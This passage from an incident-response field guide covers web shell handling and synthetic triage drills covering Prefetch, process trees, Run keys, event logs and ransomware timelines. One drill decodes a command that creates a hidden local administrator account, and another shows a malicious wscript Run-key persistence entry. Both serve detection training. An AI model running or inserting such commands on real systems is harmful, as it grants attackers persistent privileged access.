- Process tree data — specifically, the web worker process spawning `cmd.exe` or `powershell.exe` is the same category of anomaly as an Office application doing the same thing, and just as reliable a signal

13.8.4 Analysis

Locate and preserve the shell file itself (often disguised with an innocuous name and extension matching the application's normal file types). Identify the vulnerability or misconfiguration that allowed it to be dropped in the first place — a web shell is a symptom, and cleaning it up without fixing the entry point just invites a repeat. Check for any lateral movement launched from the compromised server into the rest of the environment.

13.8.5 Contain

Isolate the server from the network while preserving it for analysis rather than immediately powering it off — a live memory capture can be valuable if the shell or any loaded module is memory-resident. Block the malicious file from executing further if the server must stay online for business continuity in the short term.

13.8.6 Eradicate

Remove the shell file, patch or otherwise remediate the vulnerability that allowed it, and rebuild the host if compromise appears extensive rather than trusting a clean-up of what's been found so far.

13.8.7 Recover

Restore service only once the underlying vulnerability is confirmed patched — reintroducing the same unpatched application invites the same compromise again immediately.

13.8.8 Lessons learned

Was this a known, patchable vulnerability that sat unaddressed, and if so, why? Would a Web Application Firewall have caught or blocked the exploit attempt? Is there monitoring on this class of server for exactly the process-tree anomaly that (hopefully) caught this?

13.8.9 Referenced From

- ATT&CK Coverage Map
- Module 8: Investigation Playbooks

13.8.10 Sources

- SANS Digital Forensics Certifications overview (FOR508/FOR610 — web shell and server-compromise analysis)
- NIST SP 800-61 Rev. 2 (see Module 0 for the phase structure this playbook follows)

August 3, 2026

14. Practice Drills

Practice Drill

14.1 Practice Drills

Everything in Modules 0–8 is reference material — what to look for, and why. This section is different: each drill presents **realistic, simulated data** in the format a real tool would actually output, and asks you to find the red flags yourself before reveling the answer.

This wasn't part of the original module plan — it's an addition, built because a reference guide teaches recognition faster when it's paired with practice. It's also intentionally not exhaustive; think of it as a starting set, not full coverage of every artifact in this guide.

> **How to use these**
>
> Read the data first. Form a hypothesis about what's normal and what isn't — ideally by name specific entries, not just a gut feeling — *then* expand the answer. Guessing right by instinct is a fine start; being able to articulate *why* an entry is a red flag, citing back to the relevant module page, is the actual skill these drills are for.

14.1.1 Available drills

Drill	Tests	Ties to
Prefetch Triage	Reading simulated `PECmd` output, spotting staged/renamed tooling	Prefetch
Process Tree Triage	Spotting a spoofed-parentage process in a live process listing	Baseline Process Trees
Registry Persistence Triage	Finding the planted entry among legitimate Run key values	Registry Run Keys
PowerShell Decode	Decoding a fresh `-EncodedCommand` string yourself	Obfuscation & Decoding
Event Log Story	Reconstructing an attack sequence from raw event IDs alone	Event Log Key IDs, AdminSDHolder
Timeline Correlation	Reconciling clock skew across independent sources to find true patient zero	Timeline Construction & Correlation, Ransomware playbook

14.1.2 A note on what these are (and aren't)

Every scenario, dataset, and event sequence on these pages is **original and synthetic** — written for this guide, not pulled from any real incident or vendor sample set. That's why these pages don't carry a "Sources" section the way the rest of the guide does: there's no external material being drawn from. What *is* sourced is every specific technical claim used to build and explain each scenario (a GUID, an event ID, a registry path, an encoding scheme) — each one traces back to a reference page elsewhere in this guide, linked from inside the answer, where the actual sourcing lives.

14.1.3 Referenced From

- Enterprise DFIR Field Guide

August 3, 2026

Practice Drill

14.2 Drill: Prefetch Triage

14.2.1 The scenario

You've pulled `PECmd` output from a workstation flagged for unusual outbound traffic. Nine Prefetch entries below (simplified from real `PECmd` CSV output — real output carries more columns than shown here, but these are the ones that matter for this exercise). Before expanding the answer: which entries would you flag, and why?

Source `.pf` file	Run Count	Last Run (UTC)	Inferred launch path
CHROME.EXE-A1B2C3D4.pf	214	2026-08-01 14:22	`C:\Program Files\Google\Chrome\Application\`
OUTLOOK.EXE-B2C3D4E5.pf	89	2026-08-01 09:03	`C:\Program Files\Microsoft Office\root\Office16\`
TEAMS.EXE-C3D4E5F6.pf	156	2026-08-01 08:15	`C:\Users\jsmith\AppData\Local\Microsoft\Teams\current\`
UPDATE.EXE-1A2B3C4D.pf	3	2026-07-30 02:14	`C:\Users\jsmith\AppData\Local\Temp\svc\`
UPDATE.EXE-9F8E7D6C.pf	1	2026-07-31 03:47	`C:\Users\jsmith\AppData\Local\Temp\update_stage\`
WINWORD.EXE-D4E5F6A7.pf	47	2026-07-31 16:40	`C:\Program Files\Microsoft Office\root\Office16\`
PSEXEC.EXE-E5F6A7B8.pf	1	2026-07-31 03:51	`C:\Users\jsmith\AppData\Local\Temp\svc\`
EXCEL.EXE-F6A7B8C9.pf	22	2026-07-29 11:05	`C:\Program Files\Microsoft Office\root\Office16\`
ONEDRIVE.EXE-A7B8C9D1.pf	178	2026-08-01 08:01	`C:\Users\jsmith\AppData\Local\Microsoft\OneDrive\`

Reveal the answer

The three to flag: `UPDATE.EXE` (both entries) and `PSEXEC.EXE`.

- **Two `UPDATE.EXE` entries with different hashes in their `.pf` filenames, launched from two different Temp subfolders, one day apart** — this is the split-hash staging pattern from the Prefetch page: the same executable *name* copied and re-launched from different paths. A single legitimate updater doesn't normally do this.
- **`PSEXEC.EXE` launched once, from the same Temp staging folder as the first `UPDATE.EXE` entry, three minutes later** — PsExec has legitimate administrative uses, but not from a user's Temp folder outside a sanctioned admin workflow, and the timing (three minutes after the first staged binary landed) suggests it's part of the same sequence rather than coincidence.
- **Chrome, Outlook, Teams, Word, Excel, OneDrive** are all high run-count, standard install paths, consistent usage pattern — this is what baseline looks like, and none of it needs a second look on its own.

What this tells you, and what it doesn't: Prefetch alone doesn't prove what `UPDATE.EXE` actually did — it proves execution happened, from where, and roughly when. The natural next step is exactly what the Prefetch page recommends: corroborate with Amcache for a SHA-1 hash of the binary, and check Event Log 4688/Sysmon 1 data from the same window for the actual command line `PSEXEC.EXE` was run with.

14.2.2 Referenced From

- Artifact: Prefetch
- Practice Drills

August 3, 2026

Practice Drill

14.3 Drill: Process Tree Triage

14.3.1 The scenario

A live process listing pulled from a workstation, simplified to the columns that matter. Before expanding the answer: which process would you flag, and why?

PID	Process	Parent PID	Parent Process
4	System	—	—
372	smss.exe	4	System
456	csrss.exe	372	smss.exe
512	wininit.exe	372	smss.exe
524	csrss.exe	372	smss.exe
596	winlogon.exe	372	smss.exe
632	services.exe	512	wininit.exe
640	**lsass.exe**	512	wininit.exe
812	svchost.exe	632	services.exe
828	svchost.exe	632	services.exe
1044	explorer.exe	984	userinit.exe
2216	outlook.exe	1044	explorer.exe
3120	**lsass.exe**	812	svchost.exe

Reveal the answer

PID 3120, the second `lsass.exe`.

Two things are wrong with it simultaneously, either one of which would be enough on its own:

- **There are two `lsass.exe` processes.** Per Baseline Process Trees, exactly one should ever exist.
- **Its parent is `svchost.exe` (PID 812), not `wininit.exe`.** The legitimate `lsass.exe` at PID 640 correctly shows `wininit.exe` as its parent — PID 3120 doesn't match that pattern at all.

Everything else in this listing is textbook-normal: `smss.exe` spawned from `System`, `wininit.exe` and `winlogon.exe` both children of `smss.exe`, `services.exe` and the legitimate `lsass.exe` both children of `wininit.exe`, `svchost.exe` children of `services.exe`, and `explorer.exe` showing `userinit.exe` as parent (already exited, which is expected — see the note on this in Baseline Process Trees).

What to do next: this is exactly the pattern Module 3 covers — a process masquerading as `lsass.exe` (via process hollowing or simple renaming) run from `svchost.exe` is not going to have the same on-disk image as the real thing. Pull `vadinfo`/`malfind` against PID 3120 specifically, and treat this host as needing full incident response, not just a single-process cleanup.

14.3.2 Referenced From

- Baseline Process Trees
- EPROCESS Internals
- Practice Drills

August 3, 2026

Practice Drill

14.4 Drill: Registry Persistence Triage

14.4.1 The scenario

`HKCU\Software\Microsoft\Windows\CurrentVersion\Run` exported from a user's profile during triage. Before expanding the answer: which value would you flag, and why?

Value name	Data
OneDriveSetup	`"C:\Program Files\Microsoft OneDrive\OneDriveSetup.exe" /background`
SecurityHealth	`%windir%\system32\SecurityHealthSystray.exe`
Teams	`C:\Users\jsmith\AppData\Local\Microsoft\Teams\Update.exe --processStart "Teams.exe"`
Adobe Updater	`"C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARM.exe"`
WindowsSecurityUpdate	`wscript.exe //B "C:\Users\jsmith\AppData\Roaming\svchosthelper\update.vbs"`
RtkAudUService	`"C:\Program Files\Realtek\Audio\HDA\RtkAudUService64.exe" -s`

Reveal the answer

`WindowsSecurityUpdate`.

Three things stack up against it:

- **The value name is a generic, official-sounding decoy** ("WindowsSecurityUpdate") — real Windows Update mechanics don't work through a user's Run key at all, which makes the name itself a mismatch between what it claims to be and how Windows actually applies updates.
- **It launches `wscript.exe`, not an executable.** Every other legitimate entry in this list points directly at a signed `.exe`. A Run key value invoking a script interpreter is exactly the pattern flagged in Registry Run / RunOnce Keys.
- **The script lives under `AppData\Roaming\svchosthelper\`** — a folder name designed to look like it's related to `svchost.exe` (a legitimate system process) while actually sitting in a user-writable location no legitimate system component would use.

The other five entries are all real, recognizable software (OneDrive, Windows Security, Teams, Adobe, Realtek audio) launching their own signed executables directly from standard install paths — exactly the baseline described in Registry Run / RunOnce Keys.

What to do next: pull and read `update.vbs` itself, and check Event Log Sysmon Event ID 13 (registry value set) for when this Run key value was actually created — that timestamp is your anchor for scoping how long this persistence has been active.

14.4.2 Referenced From

- Persistence: Registry Run / RunOnce Keys
- Practice Drills

August 3, 2026

Practice Drill

14.5 Drill: PowerShell Decode

14.5.1 The scenario

The following command line was pulled from a Sysmon Event ID 1 record. Before expanding the answer, decode it yourself using the technique from Obfuscation & Decoding — this example is fresh, not one already shown on that page.

```
powershell.exe -EncodedCommand
bgBlAHQAIAB1AHMAZQByACAAYgBhAGMAawB1AHAAcwB2AGMAIABQAEAAcwBzAHcAMAByAGQAMQAyADMAIQAgAC8AYQBkAGQAIAAmACAAbgBlAHQAIABsAG8AYwBhAGwAZwByAG8AdQBwACAAYQBkAG0AaQBuAGkAcwB0AHIAYQB0AG8AcgBzACAAYgBhAGMAawB1AHAAcwB2AGMAIAAvAGEAZABkAA==
```

Try it yourself first — either in a PowerShell session with the one-liner from the walkthrough page, or in CyberChef — before expanding below.

Reveal the decoded command and the analysis

Decoded (UTF-16LE, per the walkthrough page's method):

```
net user backupsvc P@ssw0rd123! /add & net localgroup administrators backupsvc /add
```

What it does: creates a new local user account named `backupsvc` with a hardcoded password, then immediately adds that account to the local Administrators group. Two commands chained with `&` in a single encoded blob.

Why the obfuscation matters here, specifically: neither command is inherently rare — account creation and group membership changes happen legitimately all the time. What makes this worth flagging is that it arrived **encoded** at all. A legitimate administrative script creating a service account has no reason to hide two entirely ordinary `net` commands behind Base64 — see the closing point on Malicious Cmdlet Patterns: obfuscation of otherwise-unremarkable commands is itself the strongest signal on that whole page.

The account name is also worth noting on its own: "backupsvc" is deliberately chosen to sound like a legitimate service account during a quick review — exactly the kind of plausible-sounding name that a rushed analyst might skim past. Cross-reference against your actual inventory of sanctioned service accounts before assuming it's legitimate just because it sounds like it could be.

What to do next: check whether `backupsvc` still exists and is still in Administrators (see Event Log Key IDs — Event ID 4720 for the creation, 4732 for the group addition), and treat this the same as any other AdminSDHolder-adjacent privilege escalation if the host is domain-joined and this account could plausibly reach further.

14.5.2 Referenced From

- PowerShell Forensics: Obfuscation & Decoding
- Practice Drills

August 3, 2026

Practice Drill

14.6 Drill: Event Log Story

14.6.1 The scenario

Six Security-log events from a Domain Controller, in chronological order, stripped down to the essentials. Before expanding the answer: what happened here, in order, and what's the single most urgent action?

Time (UTC)	Event ID	Summary
03:14:02	4625	Failed logon — account: `svc-backup`, source: `10.4.2.187`
03:14:09	4625	Failed logon — account: `svc-backup`, source: `10.4.2.187`
03:14:41	4624	Successful logon — account: `svc-backup`, source: `10.4.2.187`, logon type 3
03:16:55	4662	Operation on object — account: `svc-backup`, properties contain `1131f6ad-9c07-11d1-f79f-00c04fc2dcd2`
03:19:20	5136	Directory service object modified — object: `CN=AdminSDHolder,CN=System,DC=contoso,DC=com`, account: `svc-backup`
03:21:03	1102	The audit log was cleared — account: `svc-backup`

Reveal the answer

The story, in order:

1. **03:14:02–03:14:09** — two failed logon attempts against `svc-backup`, then a success two seconds after the second failure. Consistent with a short password-guessing attempt that succeeded, or a credential the attacker already had that was mistyped once before landing correctly.
2. **03:16:55** — a 4662 event containing GUID `1131f6ad-9c07-11d1-f79f-00c04fc2dcd2`, which is **Replicating Directory Changes All** — see DCSync Detection. `svc-backup` is not a Domain Controller, which is exactly the non-DC-source condition that page identifies as the actual signal. This account just DCSynced the directory, very likely including `krbtgt`.
3. **03:19:20** — a 5136 modifying the `AdminSDHolder` object itself. Per AdminSDHolder / SDProp Abuse, this means whatever ACL change was just made is about to propagate automatically to **every current and former protected-group member domain-wide** within the next SDProp cycle (60 minutes by default).
4. **03:21:03** — the audit log gets cleared. This is both an attempt to hide everything that just happened, and — because it's such an unusual event on its own — frequently the loudest single tell in the entire sequence.

The single most urgent action: given step 2, assume `krbtgt` is compromised and start the double-reset procedure — a single reset will not fully invalidate a Golden Ticket forged from a hash obtained here. Given step 3, don't stop at re-securing `svc-backup` alone: check `AdminSDHolder`'s ACL directly, because SDProp will keep re-propagating a poisoned entry to every protected account until the source object itself is fixed, not just the account that made the change.

Why the log-clear event doesn't erase the trail: 1102 clearing the *Security* log doesn't touch replication metadata, which lives in the directory itself, not the event log — `repadmin /showobjmeta` against `AdminSDHolder` still reconstructs what changed and when, even after step 4.

14.6.2 Referenced From

- Event Log Key IDs Reference
- AdminSDHolder / SDProp Abuse
- Case Study: Domain Compromise, End to End
- Practice Drills

August 3, 2026

Practice Drill

14.7 Drill: Timeline Correlation

14.7.1 The scenario

A file server admin reports mass file encryption on `FILE-SRV02` at 14:47 UTC. Three independent sources below, exactly as pulled — none of them adjusted for anything yet. Before expanding the answer: is there a clock problem here, and if so, what's the true sequence of events, including patient zero?

Source 1 — `WKS-2214` local Prefetch (workstation, user's own machine)

```
Source .pf file: INVOICE_2026.PDF.EXE-4F1A8B2C.pf
Run Count: 1
Last Run (local, WKS-2214): 13:54:00
```

Source 2 — `WKS-2214` local Sysmon Event ID 3 (same workstation)

```
13:55:15 (local, WKS-2214) — outbound SMB connection, WKS-2214 -> FILE-SRV02:445
```

Source 3 — central network/DHCP log (independent, NTP-synced infrastructure)

```
14:03:15 UTC — SMB connection logged, WKS-2214 -> FILE-SRV02:445, port 445
```

Source 4 — `FILE-SRV02` local Sysmon (server, separately NTP-synced — treat as accurate)

```
14:04:00 UTC — mass FileCreate/FileModify activity begins, ransomware extension pattern
```

Reveal the answer

Step 1 — spot the calibration opportunity. Source 2 and Source 3 describe the *same connection* — same source, same destination, same port — logged by two different systems. That's your independent cross-reference, exactly per Timeline Construction & Correlation.

```
WKS-2214 local time for the connection:  13:55:15
Network log time, same connection:       14:03:15
Skew: WKS-2214's clock is 8 minutes SLOW
```

Step 2 — apply the correction to every `WKS-2214`-local timestamp, not just the one you checked.

Event	As recorded (WKS-2214 local)	Corrected (true UTC)
`INVOICE_2026.PDF.EXE` executes (Prefetch)	13:54:00	**14:02:00**
SMB connection to `FILE-SRV02` (Sysmon 3)	13:55:15	**14:03:15** *(now matches the network log exactly — correction confirmed)*

`FILE-SRV02`'s own Sysmon entry needs no correction — it's a separately NTP-synced server, and its 14:04:00 timestamp is already the accurate reference the correction above was checked against.

Step 3 — the corrected sequence.

1. **14:02:00** — ransomware executes on `WKS-2214`, disguised as `INVOICE_2026.PDF.EXE` — this is patient zero.
2. **14:03:15** — the same host connects to `FILE-SRV02` over SMB — network-based propagation, about 75 seconds after execution.
3. **14:04:00** — encryption begins on `FILE-SRV02`, roughly 45 seconds after the connection lands.
4. **14:47** — an admin notices, over 40 minutes after the true starting point.

Why the uncorrected version would have misled the investigation: without the correction, `WKS-2214`'s Prefetch entry (13:54:00) sits *before* its own Sysmon connection record (13:55:15) — internally consistent, so nothing looks obviously wrong at a glance. The mistake wouldn't be a contradiction you'd notice; it would be a full 8-minute error in exactly where you draw the boundary of "before this, the host was clean." On a host you're trying to determine a clean restore-point for, that's not a rounding error — it's the difference between restoring from a backup that still contains the dropper and one that doesn't.

What this confirms: `WKS-2214` is patient zero, not `FILE-SRV02` — the file server is a propagation target, not the entry point. That changes where remediation starts: per the Ransomware playbook, initial-vector analysis belongs on `WKS-2214` (how did `INVOICE_2026.PDF.EXE` get there — check Phishing delivery data), not on the server where the damage was actually noticed.

14.7.2 Referenced From

- Practice Drills

August 3, 2026

15. Windows IR Quick Reference

One page, meant to stay open during an active incident — not a substitute for the full pages, a pointer back into them. Every fact here is explained and sourced in depth elsewhere in this guide; this page exists to save you a click when you already know what you're looking for.

15.0.3 TOP EVENT IDS

- `4624` / `4625` — logon success/fail
- `4688` — process creation
- `4662` — DCSync signature
- `4698` — scheduled task created
- `4769` — Kerberos TGS request
- `5136` — AD object modified
- **`1102`** — Security log cleared
- `7045` — service installed
- `4104` — PowerShell script block

Full page: Event Log Key IDs

15.0.1 ORDER OF VOLATILITY

1. CPU registers/cache
2. RAM, routing table, ARP cache
3. Swap/page file
4. Disk
5. Remote logs
6. Physical config
7. Archival media

Full page: Order of Volatility